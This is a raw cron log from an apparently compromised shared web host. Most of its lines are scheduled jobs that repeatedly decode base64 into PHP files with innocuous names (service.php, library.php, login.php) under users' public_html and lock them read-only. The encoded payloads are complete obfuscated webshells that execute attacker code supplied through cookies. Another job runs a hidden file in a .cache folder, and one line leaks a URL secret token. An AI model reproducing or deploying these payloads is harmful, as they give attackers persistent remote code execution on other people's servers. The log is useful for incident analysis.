Mar  2 10:37:01 medusa CROND[575]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:37:01 medusa CROND[579]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:37:01 medusa CROND[580]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:37:01 medusa CROND[583]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:37:01 medusa CROND[584]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:37:01 medusa CROND[585]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:38:01 medusa CROND[18386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:38:01 medusa CROND[18692]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:38:01 medusa CROND[18693]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:38:01 medusa CROND[18704]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:38:01 medusa CROND[18705]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 10:38:01 medusa CROND[18707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:38:01 medusa CROND[18709]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:38:01 medusa CROND[18710]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:38:01 medusa CROND[18712]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:38:01 medusa CROND[18713]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:38:01 medusa CROND[18711]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:38:01 medusa CROND[18716]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:38:01 medusa CROND[18720]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:39:01 medusa CROND[5372]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 10:39:01 medusa CROND[5445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:39:01 medusa CROND[5448]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:39:01 medusa CROND[5449]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
